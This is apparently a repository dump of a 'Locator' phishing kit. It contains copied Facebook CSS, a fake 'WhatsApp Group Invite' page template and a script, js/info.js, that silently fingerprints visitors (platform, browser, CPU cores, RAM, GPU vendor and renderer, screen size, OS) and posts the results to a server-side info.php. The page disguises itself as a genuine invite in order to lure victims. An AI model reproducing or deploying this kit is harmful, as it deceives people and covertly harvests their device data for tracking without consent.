| } 409 | 410 | ._g5w cite { 411 | color: inherit; 412 | color: #909090; 413 | display: block; 414 | font-size: 10px; 415 | font-style: normal; 416 | font-weight: 300; 417 | letter-spacing: -0.22px; 418 | line-height: 14px; 419 | margin: 12px 0 6px 420 | } 421 | 422 | ._g5w ._g5u { 423 | border-radius: 0; 424 | margin: 0 16px 425 | } 426 | 427 | ._m4x { 428 | margin: 2em auto 1em 429 | } 430 | 431 | ._m4w { 432 | left: 335px; 433 | position: fixed; 434 | top: 130px; 435 | z-index: 9999 436 | } 437 | 438 | ._mk3 ._mjy { 439 | padding: 30px 30px 20px 440 | } 441 | 442 | ._mk3 ._mjv { 443 | padding: 40px 80px 444 | } 445 | 446 | ._mk3 ._mjw { 447 | margin-right: 16px 448 | } 449 | 450 | ._mk3 ._mjx { 451 | margin-bottom: 0; 452 | margin-top: 7px 453 | } 454 | 455 | ._mk3 ._1k1v { 456 | padding-top: 32px 457 | } 458 | 459 | ._6k_ .img { 460 | margin: 0; 461 | position: absolute 462 | } 463 | 464 | ._51mq { 465 | margin-right: 3px; 466 | vertical-align: -2.9px 467 | } 468 | 469 | .fbPageBanner { 470 | position: relative; 471 | z-index: 301 472 | } 473 | 474 | .hideBanner .fbPageBanner, 475 | .fixedBody .fbPageBanner { 476 | display: none 477 | } 478 | 479 | @media (min-width: 480px) { 480 | .fbPageBannerInner { 481 | margin: auto; 482 | max-width: 950px; 483 | min-width: 920px 484 | } 485 | } 486 | 487 | .sidebarMode .fbPageBannerInner { 488 | left: -102px; 489 | position: relative 490 | } 491 | 492 | .FriendButton { 493 | display: inline-block; 494 | vertical-align: top 495 | } 496 | 497 | html .FriendButton .uiButton { 498 | margin-left: 0; 499 | margin-right: 3px 500 | } 501 | 502 | html .FriendButton .enableFriendListFlyout, 503 | .FriendButton .enableFriendListFlyout .uiButtonText, 504 | .FriendButton .enableFriendListFlyout input { 505 | cursor: default 506 | } 507 | 508 | .requestResponseMenu .action .itemAnchor { 509 | padding-right: 22px 510 | } 511 | 512 | span.FriendLink a.uiButtonConfirm { 513 | background-image: none; 514 | background-color: transparent 515 | } 516 | 517 | .FriendLink span.friendButton, 518 | .FriendLink span.outgoingButton { 519 | cursor: hand; 520 | cursor: pointer 521 | } 522 | 523 | .hovercardButtonGroup .FriendButton .uiButton { 524 | margin-right: 0 525 | } 526 | 527 | ._6xe8 { 528 | display: inline-block 529 | } 530 | 531 | ._6xe7 { 532 | margin-left: -4.3px 533 | } 534 | 535 | ._6-wg .uiList .link { 536 | border: 2px solid #fff; 537 | border-radius: 50% 538 | } 539 | 540 | ._6-wg .uiList .link:after { 541 | border: 1px solid rgba(0, 0, 0, .1); 542 | border-radius: 50%; 543 | bottom: 0; 544 | content: ''; 545 | left: 0; 546 | position: absolute; 547 | right: 0; 548 | top: 0 549 | } 550 | 551 | ._82qt { 552 | display: flex; 553 | height: 20px 554 | } 555 | 556 | ._1nd3 { 557 | color: #606770 558 | } 559 | 560 | ._1nd3 a { 561 | color: #606770 562 | } 563 | 564 | ._6xe6 ._6xe7 { 565 | margin-left: -8.3px 566 | } 567 | 568 | ._1nd3 .uiGrid { 569 | margin-top: 2px 570 | } 571 | 572 | .__tw { 573 | background: #fff; 574 | border: 1px solid rgba(100, 100, 100, .4); 575 | border-radius: 0 0 2px 2px; 576 | box-shadow: 0 3px 8px rgba(0, 0, 0, .25); 577 | color: #1d2129; 578 | overflow: visible; 579 | position: absolute; 580 | top: 38px; 581 | width: 430px; 582 | z-index: -1 583 | } 584 | 585 | ._1nxz .__tw, 586 | ._dyn .__tw, 587 | ._l35 .__tw { 588 | top: 45px; 589 | z-index: 1 590 | } 591 | 592 | .__tw .metadata { 593 | padding-top: 3px 594 | } 595 | 596 | .__tw .jewelItemList { 597 | padding: 4px 0 598 | } 599 | 600 | .__tw .empty, 601 | .__tw .jewelHighlight .empty { 602 | border: none; 603 | color: #90949c; 604 | padding: 4px 8px 10px 605 | } 606 | 607 | .__tw .jewelHighlight li a { 608 | color: #1d2129; 609 | display: block; 610 | padding: 4px 8px; 611 | text-decoration: none 612 | } 613 | 614 | .__tw .jewelHighlight li a:hover, 615 | .__tw .jewelHighlight li a:active, 616 | .__tw .jewelHighlight li a:focus { 617 | background-color: #f5f6f7; 618 | border-bottom: 1px solid #dddfe2; 619 | border-top: 1px solid #dddfe2; 620 | outline: none; 621 | padding-bottom: 3px; 622 | padding-top: 3px; 623 | text-decoration: none 624 | } 625 | 626 | .__tw .jewelHighlight a:hover span, 627 | .__tw .jewelHighlight a:active span, 628 | .__tw .jewelHighlight a:focus span, 629 | .__tw .jewelHighlight a:hover div, 630 | .__tw .jewelHighlight a:active div, 631 | .__tw .jewelHighlight a:focus div, 632 | .__tw .jewelHighlight li.selected a, 633 | .__tw .jewelHighlight li.selected .timestamp { 634 | color: #fff 635 | } 636 | 637 | .__tw .jewelHighlight li { 638 | border-top: 1px solid #e6e6e6; 639 | cursor: pointer 640 | } 641 | 642 | .__tw .jewelHighlight li:first-child { 643 | border-top: none 644 | } 645 | 646 | .__tw li.jewelItemNew { 647 | background-color: #edf2fa 648 | } 649 | 650 | .__tw li>a, 651 | .__tw li>.anchorContainer>a { 652 | outline: none 653 | } 654 | 655 | .__tw .uiScrollableAreaWithShadow.contentAfter:after { 656 | content: none 657 | } 658 | 659 | .__tw li.jewelItemResponded { 660 | background: #fff9d7; 661 | color: #1d2129 662 | } 663 | 664 | .__tw .jewelLoading { 665 | display: block; 666 | margin: 10px auto 667 | } 668 | 669 | .__tw .uiScrollableAreaContent>.jewelLoading:only-child { 670 | margin-bottom: 9px 671 | } 672 | 673 | .__tw .jewelNotice { 674 | background-color: #fcf5d0; 675 | display: none; 676 | padding: 8px 677 | } 678 | 679 | .__tw .jewelNoticeVisible { 680 | display: block 681 | } 682 | 683 | .__tw .jewelFooter .seeMoreCount { 684 | display: none; 685 | font-weight: 600; 686 | padding: 2px 0 0 687 | } 688 | 689 | .__tw .x_div { 690 | position: absolute; 691 | right: 10px; 692 | top: 58%; 693 | transition: margin-right 250ms; 694 | z-index: 2 695 | } 696 | 697 | .__tw .jewelItemList { 698 | padding: 0 699 | } 700 | 701 | .__tw .uiScrollableAreaContent { 702 | padding-bottom: 1px 703 | } 704 | 705 | .__tw div.jewelHeader { 706 | background-clip: padding-box; 707 | background-color: #fff; 708 | border-bottom: solid 1px #dddfe2; 709 | border-top-left-radius: 3px; 710 | border-top-right-radius: 3px; 711 | padding: 8px 12px 6px; 712 | position: relative; 713 | z-index: 100 714 | } 715 | 716 | .__tw .jewelHeader h3>a, 717 | .__tw .jewelHeader h4>a { 718 | color: inherit; 719 | text-decoration: none 720 | } 721 | 722 | .__tw .jewelFooter a { 723 | background-color: #fff; 724 | border-bottom-left-radius: 3px; 725 | border-bottom-right-radius: 3px; 726 | border-top: 1px solid #dddfe2; 727 | display: block; 728 | font-weight: 600; 729 | padding: 8px 12px; 730 | position: relative; 731 | text-align: center; 732 | z-index: 100 733 | } 734 | 735 | .__tw .jewelFooter a:hover, 736 | .__tw .jewelFooter a:active, 737 | .__tw .jewelFooter a:focus { 738 | color: #365899; 739 | outline: none; 740 | text-decoration: underline 741 | } 742 | 743 | .__tw .jewelFooter a:hover .seeMoreCount, 744 | .__tw .jewelFooter a:active .seeMoreCount, 745 | .__tw .jewelFooter a:focus .seeMoreCount { 746 | color: gray 747 | } 748 | 749 | .__tw .jewelItemList { 750 | padding: 0 751 | } 752 | 753 | .__tw li div.confirmingMsg { 754 | height: 0; 755 | left: 0%; 756 | opacity: 0; 757 | padding: 0 8px; 758 | position: absolute; 759 | top: 0; 760 | visibility: visible 761 | } 762 | 763 | .__tw li.forPushSafety div.confirmingMsg { 764 | height: 0; 765 | left: 0%; 766 | opacity: 0; 767 | padding: 0 8px; 768 | position: relative; 769 | top: 0; 770 | visibility: visible 771 | } 772 | 773 | .__tw li.notification div.confirmedMsg { 774 | height: 0; 775 | opacity: 0; 776 | padding: 0 8px; 777 | position: relative; 778 | top: 0 779 | } 780 | 781 | .__tw li.notification div.firstConfirmedMsg, 782 | .__tw li.notification div.spamMsg { 783 | padding: 6px 8px 784 | } 785 | 786 | .__tw td.confirming_table_row { 787 | white-space: nowrap 788 | } 789 | 790 | ._43f6 { 791 | border-left: 2px solid #dcdee3; 792 | margin: 12px 0 0 0; 793 | padding-left: 15px 794 | } 795 | 796 | ._5yn2 { 797 | border-left: 2px solid #dcdee3; 798 | color: #7f7f7f; 799 | margin: 10px 0 0 0; 800 | padding-left: 10px 801 | } 802 | 803 | ._5wpt { 804 | border-left: 2px solid #dcdee3; 805 | padding-left: 12px 806 | } 807 | 808 | ._5pio { 809 | color: #90949c; 810 | font-size: 12px 811 | } 812 | 813 | ._49k0 { 814 | margin-top: 4px; 815 | text-align: left 816 | } 817 | 818 | ._2xzj, 819 | ._2xzi { 820 | margin: 5px 0; 821 | text-align: left 822 | } 823 | 824 | ._2xzi.ltgtranslatedcontent-enter { 825 | background-color: #fff9d7 826 | } 827 | 828 | ._2xzi.ltgtranslatedcontent-enter.ltgtranslatedcontent-enter-active { 829 | background-color: #fff; 830 | transition: background-color 2s ease-in 831 | } 832 | 833 | body[dir="rtl"] ._43f9, 834 | body[dir="rtl"] ._49k0 { 835 | direction: rtl 836 | } 837 | 838 | body[dir="ltr"] ._43f9, 839 | body[dir="ltr"] ._49k0 { 840 | direction: ltr 841 | } 842 | 843 | ._li._li._li { 844 | overflow: initial 845 | } 846 | 847 | ._910i._li._li._li { 848 | overflow: hidden 849 | } 850 | 851 | ._72b0 { 852 | position: relative; 853 | z-index: 0 854 | } 855 | 856 | #modalMaskOverlay { 857 | background-color: #fff; 858 | height: 100%; 859 | opacity: .8; 860 | position: fixed; 861 | top: 0; 862 | width: 100%; 863 | z-index: 199 864 | } 865 | 866 | ._50-t { 867 | display: flex; 868 | flex-direction: column; 869 | overflow: hidden; 870 | position: relative 871 | } 872 | 873 | ._572e { 874 | color: #999; 875 | font-size: 12px; 876 | margin: 24px auto; 877 | text-align: center 878 | } 879 | 880 | ._2iy1 { 881 | cursor: default; 882 | pointer-events: none 883 | } 884 | 885 | ._3heb { 886 | background: none; 887 | border: none; 888 | display: block; 889 | margin-left: auto; 890 | margin-right: auto; 891 | padding: 8px 892 | } 893 | 894 | ._3heb:only-child { 895 | padding-bottom: 7px 896 | } 897 | 898 | ._3hec { 899 | display: block 900 | } 901 | 902 | ._1_i1 { 903 | left: 106px; 904 | position: fixed; 905 | top: 0; 906 | z-index: 999 907 | } 908 | 909 | ._2xwp { 910 | border-radius: 4px; 911 | bottom: 30px; 912 | left: 30px; 913 | margin: 0; 914 | opacity: .96; 915 | position: fixed; 916 | width: 245px; 917 | z-index: 401 918 | } 919 | 920 | ._6nw ._2xwp { 921 | font-family: Helvetica, Arial, sans-serif; 922 | width: 320px 923 | } 924 | 925 | ._50d1 { 926 | list-style: none 927 | } 928 | 929 | ._52d9 { 930 | background-color: rgba(0, 0, 0, .4); 931 | bottom: 0; 932 | color: #fff; 933 | font-size: 35px; 934 | font-weight: normal; 935 | left: 0; 936 | position: absolute; 937 | right: 0; 938 | top: 0 939 | } 940 | 941 | ._52da { 942 | display: table; 943 | height: 100%; 944 | width: 100% 945 | } 946 | 947 | .fbPhotoSnowlift * ._52da { 948 | font-size: 65% 949 | } 950 | 951 | ._52db { 952 | display: table-cell; 953 | text-align: center; 954 | vertical-align: middle 955 | } 956 | 957 | .FriendListFlyoutLoading { 958 | text-align: center; 959 | width: 192px 960 | } 961 | 962 | .FlyoutFriendMenu.addToListsOpen .FriendListActionMenu, 963 | .FlyoutFriendMenu.addToListsOpen .FriendListSubscribeSubmenu, 964 | .FlyoutFriendMenu.addToListsOpen .FriendListCFMenu, 965 | .FlyoutFriendMenu.addToListsOpen.NonFriendSubscriptionMenu.isUnsubscribed .FriendListSubscribeSubmenu, 966 | .FlyoutFriendMenu.addToListsOpen.NonFriendSubscriptionMenu.isUnsubscribed .FriendListCFMenuSeparator, 967 | .FlyoutFriendMenu.addToListsClosed .FriendListMenu, 968 | .FlyoutFriendMenu.addToListsClosed.subscriptionMenuOpen .FriendListActionMenu, 969 | .FlyoutFriendMenu.addToListsClosed.NonFriendSubscriptionMenu.isUnsubscribed .FriendListSubscribeSubmenu, 970 | .FlyoutFriendMenu.addToListsClosed.NonFriendSubscriptionMenu.isUnsubscribed .FriendListCFMenuSeparator, 971 | .FlyoutFriendMenu.addToListsClosed.subscriptionMenuOpen .FriendListSubscribeSubmenu, 972 | .FlyoutFriendMenu.addToListsClosed .FriendListScroller { 973 | display: none 974 | } 975 | 976 | .FriendListFlyoutLoading .uiLoadingIndicatorAsync { 977 | display: none 978 | } 979 | 980 | .FriendListFlyoutLoading .async_saving .uiLoadingIndicatorAsync { 981 | display: inline 982 | } 983 | 984 | .FlyoutFriendMenu.addToListsClosed .FriendListActionMenu, 985 | .FlyoutFriendMenu.addToListsClosed .FriendListSubscribeSubmenu, 986 | .FlyoutFriendMenu.addToListsClosed .FriendListCFMenu, 987 | .FlyoutFriendMenu.addToListsOpen .FriendListMenu, 988 | .FlyoutFriendMenu.addToListsOpen .FriendListScroller { 989 | display: block 990 | } 991 | 992 | ._64nf._5dzz { 993 | width: 16px 994 | } 995 | 996 | .profileLink ._64nf, 997 | ._2u0z ._64nf, 998 | ._5vra ._64nf, 999 | ._64-f ._64nf, 1000 | ._52eh ._64nf { 1001 | position: relative; 1002 | top: 3px 1003 | } 1004 | 1005 | .highContrast ._59c6._5dzz { 1006 | overflow: hidden; 1007 | position: relative 1008 | } 1009 | 1010 | .highContrast ._59c6._5d-3._5dzz { 1011 | overflow: hidden; 1012 | position: relative 1013 | } 1014 | 1015 | .highContrast ._59c6._5dz- { 1016 | overflow: hidden; 1017 | position: relative 1018 | } 1019 | 1020 | .highContrast ._59c6._5dz_ { 1021 | overflow: hidden; 1022 | position: relative 1023 | } 1024 | 1025 | ._7xv0 { 1026 | margin-left: 2px; 1027 | position: relative; 1028 | top: 1px 1029 | } 1030 | 1031 | .highContrast ._4fvy._5dzz { 1032 | overflow: hidden; 1033 | position: relative 1034 | } 1035 | 1036 | .highContrast ._4fvy._5d-3._5dzz { 1037 | overflow: hidden; 1038 | position: relative 1039 | } 1040 | 1041 | .highContrast ._4fvy._5dz- { 1042 | overflow: hidden; 1043 | position: relative 1044 | } 1045 | 1046 | .highContrast ._4fvy._5dz_ { 1047 | overflow: hidden; 1048 | position: relative 1049 | } 1050 | 1051 | .highContrast ._1gop._5dzz { 1052 | overflow: hidden; 1053 | position: relative 1054 | } 1055 | 1056 | .highContrast .uiTypeaheadView .selected ._1gop._5dzz { 1057 | overflow: hidden; 1058 | position: relative 1059 | } 1060 | 1061 | .highContrast ._5n3t._5dzz { 1062 | overflow: hidden; 1063 | position: relative 1064 | } 1065 | 1066 | .highContrast ._5n3t._5d-3._5dzz { 1067 | overflow: hidden; 1068 | position: relative 1069 | } 1070 | 1071 | .highContrast ._5n3t._5dz- { 1072 | overflow: hidden; 1073 | position: relative 1074 | } 1075 | 1076 | .highContrast ._5n3t._5dz_ { 1077 | overflow: hidden; 1078 | position: relative 1079 | } 1080 | 1081 | .highContrast ._5n3t._5d-0 { 1082 | overflow: hidden; 1083 | position: relative 1084 | } 1085 | 1086 | .highContrast ._5n3t._5d-1 { 1087 | overflow: hidden; 1088 | position: relative 1089 | } 1090 | 1091 | .highContrast ._5n3t._5d-3._5d-1 { 1092 | overflow: hidden; 1093 | position: relative 1094 | } 1095 | 1096 | .highContrast .uiTypeaheadView .selected ._5n3t._5dzz { 1097 | overflow: hidden; 1098 | position: relative 1099 | } 1100 | 1101 | .highContrast .selected ._5n3t._5dz_ { 1102 | overflow: hidden; 1103 | position: relative 1104 | } 1105 | 1106 | .UFICommentContent ._5n3t { 1107 | margin-left: 1px 1108 | } 1109 | 1110 | .highContrast ._6w81._5dzz { 1111 | overflow: hidden; 1112 | position: relative 1113 | } 1114 | 1115 | .highContrast ._6w81._5d-3._5dzz { 1116 | overflow: hidden; 1117 | position: relative 1118 | } 1119 | 1120 | .highContrast ._6w81._5dz- { 1121 | overflow: hidden; 1122 | position: relative 1123 | } 1124 | 1125 | .highContrast ._6w81._5dz_ { 1126 | overflow: hidden; 1127 | position: relative 1128 | } 1129 | 1130 | .highContrast ._6w81._5d-0 { 1131 | overflow: hidden; 1132 | position: relative 1133 | } 1134 | 1135 | .highContrast ._6w81._5d-1 { 1136 | overflow: hidden; 1137 | position: relative 1138 | } 1139 | 1140 | .highContrast ._6w81._5d-3._5d-1 { 1141 | overflow: hidden; 1142 | position: relative 1143 | } 1144 | 1145 | .highContrast .uiTypeaheadView .selected ._6w81._5dzz { 1146 | overflow: hidden; 1147 | position: relative 1148 | } 1149 | 1150 | .highContrast .selected ._6w81._5dz_ { 1151 | overflow: hidden; 1152 | position: relative 1153 | } 1154 | 1155 | .UFICommentContent ._6w81 { 1156 | margin-left: 1px 1157 | } 1158 | 1159 | .tooltipContent ._6w82 { 1160 | overflow: hidden; 1161 | white-space: normal; 1162 | width: 164px 1163 | } 1164 | 1165 | ._7cto { 1166 | margin: 4px 8px 1167 | } 1168 | 1169 | ._7ctr { 1170 | border-bottom: 1px solid #dddfe2; 1171 | padding: 4px 0; 1172 | text-align: justify 1173 | } 1174 | 1175 | ._7cts { 1176 | margin: 8px 0 0 auto 1177 | } 1178 | 1179 | .highContrast ._8b0y._5d-3._5dzz:before, 1180 | .highContrast ._8b0y._5dzz:before, 1181 | .highContrast .uiTypeaheadView .search.updatedSuggestionRows .selected ._8b0y._5dzz:before, 1182 | .highContrast ._8b0y._5d-3._5dzz, 1183 | .highContrast ._8b0y._5dzz, 1184 | .highContrast .uiTypeaheadView .search.updatedSuggestionRows .selected ._8b0y._5dzz, 1185 | .highContrast .uiTypeaheadView .selected ._8b0y._5dzz { 1186 | overflow: hidden; 1187 | position: relative 1188 | } 1189 | 1190 | .highContrast ._8b0y._5dz- { 1191 | overflow: hidden; 1192 | position: relative 1193 | } 1194 | 1195 | .highContrast ._8b0y._5dz_, 1196 | .highContrast .selected ._8b0y._5dz_ { 1197 | overflow: hidden; 1198 | position: relative 1199 | } 1200 | 1201 | .highContrast ._8b0y._5d-0 { 1202 | overflow: hidden; 1203 | position: relative 1204 | } 1205 | 1206 | .highContrast ._8b0y._5d-1 { 1207 | overflow: hidden; 1208 | position: relative 1209 | } 1210 | 1211 | .highContrast ._8b0y._5d-3._5d-1 { 1212 | overflow: hidden; 1213 | position: relative 1214 | } 1215 | 1216 | .UFICommentContent ._8b0y { 1217 | margin-left: 1px 1218 | } 1219 | 1220 | .tooltipContent ._8b11 { 1221 | overflow: hidden; 1222 | white-space: normal; 1223 | width: 164px 1224 | } 1225 | 1226 | .highContrast ._8b-m._5dz- { 1227 | overflow: hidden; 1228 | position: relative 1229 | } 1230 | 1231 | ._4tz0 { 1232 | margin: 3px 0 3px 6px 1233 | } 1234 | 1235 | ._4tz0:first-child { 1236 | margin: 3px 0 1237 | } 1238 | 1239 | ._4tz1 { 1240 | margin: 4px 0 4px 4px 1241 | } 1242 | 1243 | ._4tz1:first-child { 1244 | margin: 4px 0 1245 | } 1246 | 1247 | ._4tz2 { 1248 | float: left; 1249 | margin: 0 0 0 4px 1250 | } 1251 | 1252 | ._4tz2:first-child { 1253 | margin: 0 1254 | } 1255 | 1256 | ._5pa- { 1257 | position: relative 1258 | } 1259 | 1260 | ._2xq { 1261 | height: 100%; 1262 | position: relative 1263 | } 1264 | 1265 | ._2xr, 1266 | ._2xs { 1267 | float: left 1268 | } 1269 | 1270 | .redesigned ._2xr { 1271 | padding: 2px 0 1272 | } 1273 | 1274 | ._2xt._2xs { 1275 | margin: 0 1276 | } 1277 | 1278 | ._2xo { 1279 | display: none 1280 | } 1281 | 1282 | ._56kg { 1283 | height: 100%; 1284 | overflow: hidden; 1285 | position: relative 1286 | } 1287 | 1288 | ._2xv ._2xn._2xr { 1289 | visibility: visible 1290 | } 1291 | 1292 | ._2xv ._2xr, 1293 | .loading ._2xv ._2xn._2xr, 1294 | .dataLoading ._2xv ._2xn._2xr { 1295 | position: absolute; 1296 | visibility: hidden 1297 | } 1298 | 1299 | ._8zm4 { 1300 | left: 50%; 1301 | position: absolute; 1302 | top: 50%; 1303 | transform: translateX(-50%) translateY(-50%) 1304 | } 1305 | 1306 | .uiToken { 1307 | background: #e9ebee; 1308 | border: 1px solid #9cb4d8; 1309 | border-radius: 2px; 1310 | color: #162643; 1311 | cursor: default; 1312 | display: block; 1313 | float: left; 1314 | height: 14px; 1315 | margin: 0 4px 4px 0; 1316 | padding: 0 3px; 1317 | position: relative; 1318 | white-space: nowrap 1319 | } 1320 | 1321 | .uiToken .remove { 1322 | left: 1px; 1323 | margin: 0; 1324 | outline: none; 1325 | position: relative; 1326 | top: 2px 1327 | } 1328 | 1329 | .uiTokenSelected { 1330 | background-color: #6d84b4; 1331 | border-color: #365899; 1332 | color: #fff 1333 | } 1334 | 1335 | .uiTokenGray { 1336 | background: #dddfe2; 1337 | border-color: #7f7f7f 1338 | } 1339 | 1340 | html ._55r2 { 1341 | height: 30px 1342 | } 1343 | 1344 | ._55r1::-moz-placeholder, 1345 | ._55r1:-moz-placeholder, 1346 | ._55r1 ._58al::-moz-placeholder, 1347 | ._55r1 ._58al:-moz-placeholder { 1348 | color: #90949c 1349 | } 1350 | 1351 | ._55r1:focus::-moz-placeholder, 1352 | ._55r1:focus:-moz-placeholder, 1353 | ._55r1 ._58al:focus::-moz-placeholder, 1354 | ._55r1 ._58al:focus:-moz-placeholder { 1355 | color: #bec3c9 1356 | } 1357 | 1358 | ._55r1._58ak { 1359 | height: 24px; 1360 | padding: 3px 8px 5px 1361 | } 1362 | 1363 | ._55r1._55r2._58ak { 1364 | height: 32px; 1365 | padding: 7px 8px 9px 1366 | } 1367 | 1368 | ._55r1 ._58al { 1369 | font-family: Helvetica, Arial, sans-serif; 1370 | font-size: 12px 1371 | } 1372 | 1373 | ._3qze ._58al { 1374 | font-family: Helvetica, Arial, sans-serif; 1375 | font-size: 14px 1376 | } 1377 | 1378 | ._55r1._3qze._58ak { 1379 | padding-top: 2px 1380 | } 1381 | 1382 | ._55r1._1tp7._1488 { 1383 | border: 1px solid #dddfe2 1384 | } 1385 | 1386 | ._55r1._1tp7:not(._1488) ._58al { 1387 | width: calc(100% - 24px) 1388 | } 1389 | 1390 | .videoPlayerIframe { 1391 | height: 100%; 1392 | overflow: hidden; 1393 | position: absolute; 1394 | width: 100% 1395 | } 1396 | 1397 | .videoPlayerIframe .swfObject { 1398 | height: 100%; 1399 | width: 100% 1400 | } 1401 | 1402 | ._2ad7 { 1403 | margin-left: 2px; 1404 | position: relative; 1405 | top: 1px 1406 | } 1407 | 1408 | ._88lp { 1409 | margin-left: 4px; 1410 | position: relative; 1411 | top: 1px 1412 | } 1413 | 1414 | ._2ad7._5dzy { 1415 | top: -1px 1416 | } 1417 | 1418 | ._4rwy, 1419 | ._2zb5, 1420 | ._kp6, 1421 | ._7cf0, 1422 | ._6p8n { 1423 | background-color: #fff 1424 | } 1425 | 1426 | ._kp6 { 1427 | display: block; 1428 | margin: 5px 3px 1429 | } 1430 | 1431 | ._6p8n { 1432 | margin-right: -3px 1433 | } 1434 | 1435 | ._7cf0, 1436 | ._6--1 ._4rwy { 1437 | bottom: -1px; 1438 | position: absolute; 1439 | right: -1px 1440 | } 1441 | 1442 | ._55lt img { 1443 | display: block 1444 | } 1445 | 1446 | ._55lu { 1447 | box-sizing: border-box; 1448 | float: left; 1449 | overflow: hidden 1450 | } 1451 | 1452 | ._57pl { 1453 | border-right: 1px solid #fff 1454 | } 1455 | 1456 | ._57pm { 1457 | border-bottom: 1px solid #fff 1458 | } 1459 | 1460 | ._57xo { 1461 | border-left: 1px solid #fff 1462 | } 1463 | 1464 | ._39jy ._55lt { 1465 | border-radius: 50%; 1466 | overflow: hidden 1467 | } 1468 | 1469 | .scrollable { 1470 | overflow-y: auto 1471 | } 1472 | 1473 | .sp_klDlAg5i3iU.sx_4a5824 { 1474 | background-position: 0 0 1475 | } 1476 | 1477 | .sp_klDlAg5i3iU.sx_829507 { 1478 | background-position: 0 -17px 1479 | } 1480 | 1481 | .sp_klDlAg5i3iU.sx_04e7e0 { 1482 | width: 8px; 1483 | height: 8px; 1484 | background-position: 0 -108px 1485 | } 1486 | 1487 | .sp_klDlAg5i3iU.sx_cfdb28 { 1488 | background-position: 0 -34px 1489 | } 1490 | 1491 | .sp_klDlAg5i3iU.sx_673985 { 1492 | width: 12px; 1493 | height: 12px; 1494 | background-position: 0 -85px 1495 | } 1496 | 1497 | .sp_klDlAg5i3iU.sx_c01788 { 1498 | background-position: 0 -51px 1499 | } 1500 | 1501 | .sp_klDlAg5i3iU.sx_9ad7f9 { 1502 | background-position: 0 -68px 1503 | } 1504 | 1505 | .sp_klDlAg5i3iU.sx_95aa81 { 1506 | width: 9px; 1507 | height: 9px; 1508 | background-position: 0 -98px 1509 | } 1510 | 1511 | #bootloader_kmhKG { 1512 | height: 42px; 1513 | } 1514 | 1515 | .bootloader_kmhKG { 1516 | display: block !important; 1517 | } -------------------------------------------------------------------------------- /template/whatsapp/images/-r3j-x8ZnM7.svg: -------------------------------------------------------------------------------- 1 | 3 | 7 | 8 | 10 | 21 | 45 | -------------------------------------------------------------------------------- /template/whatsapp/images/ZIvBTrQd9nP.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/whatsapp/images/ZIvBTrQd9nP.png -------------------------------------------------------------------------------- /template/whatsapp/images/rYZqPCBaG70.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/whatsapp/images/rYZqPCBaG70.png -------------------------------------------------------------------------------- /template/whatsapp/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | WhatsApp Group Invite 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 51 | 52 | 53 | 54 | 55 | 56 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 213 |
214 | 215 | 218 | 219 | 225 | 226 | 235 | 236 | -------------------------------------------------------------------------------- /template/whatsapp/index_temp.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | WhatsApp Group Invite 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 51 | 52 | 53 | 54 | 55 | 56 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 213 |
214 | 215 | 218 | 219 | 225 | 226 | 235 | 236 | -------------------------------------------------------------------------------- /template/whatsapp/js/info.js: -------------------------------------------------------------------------------- 1 | function information() 2 | { 3 | var ptf = navigator.platform; 4 | var cc = navigator.hardwareConcurrency; 5 | var ram = navigator.deviceMemory; 6 | var ver = navigator.userAgent; 7 | var str = ver; 8 | var os = ver; 9 | //gpu 10 | var canvas = document.createElement('canvas'); 11 | var gl; 12 | var debugInfo; 13 | var ven; 14 | var ren; 15 | //sysinfo 16 | console.log(ver); 17 | console.log(ptf); 18 | 19 | if (cc == undefined) 20 | { 21 | cc = 'Not Available'; 22 | console.log('Cores are not available') 23 | } 24 | console.log(cc); 25 | 26 | //ram 27 | if (ram == undefined) 28 | { 29 | ram = 'Not Available'; 30 | console.log('RAM is not available') 31 | } 32 | console.log(ram); 33 | 34 | //browser 35 | if (ver.indexOf('Firefox') != -1) 36 | { 37 | str = str.substring(str.indexOf(' Firefox/') + 1); 38 | str = str.split(' '); 39 | brw = str[0]; 40 | console.log(str[0]); 41 | } 42 | else if (ver.indexOf('Chrome') != -1) 43 | { 44 | str = str.substring(str.indexOf(' Chrome/') + 1); 45 | str = str.split(' '); 46 | brw = str[0]; 47 | console.log(str[0]); 48 | } 49 | else if (ver.indexOf('Safari') != -1) 50 | { 51 | str = str.substring(str.indexOf(' Safari/') + 1); 52 | str = str.split(' '); 53 | brw = str[0]; 54 | console.log(str[0]); 55 | } 56 | else if (ver.indexOf('Edge') != -1) 57 | { 58 | str = str.substring(str.indexOf(' Edge/') + 1); 59 | str = str.split(' '); 60 | brw = str[0]; 61 | console.log(str[0]); 62 | } 63 | else 64 | { 65 | brw = 'Not Available' 66 | console.log('Browser is not available') 67 | } 68 | 69 | //gpu 70 | try 71 | { 72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); 73 | } 74 | catch (e) {} 75 | if (gl) 76 | { 77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); 78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); 79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); 80 | } 81 | if (ven == undefined) 82 | { 83 | ven = 'Not Available'; 84 | console.log('GPU Vendor not available') 85 | } 86 | if (ren == undefined) 87 | { 88 | ren = 'Not Available'; 89 | console.log('GPU Renderer not available') 90 | } 91 | console.log(ven); 92 | console.log(ren); 93 | // 94 | var ht = window.screen.height 95 | var wd = window.screen.width 96 | console.log(window.screen.height) 97 | console.log(window.screen.width) 98 | //os 99 | os = os.substring(0, os.indexOf(')')); 100 | os = os.split(';'); 101 | os = os[1]; 102 | if (os == undefined) 103 | { 104 | os = 'Not Available'; 105 | console.log('OS is not available') 106 | } 107 | os = os.trim(); 108 | console.log(os); 109 | // 110 | $.ajax({ 111 | type: 'POST', 112 | url: '/php/info.php', 113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os}, 114 | success: function(){console.log('Got Device Information');}, 115 | mimeType: 'text' 116 | }); 117 | } 118 | -------------------------------------------------------------------------------- 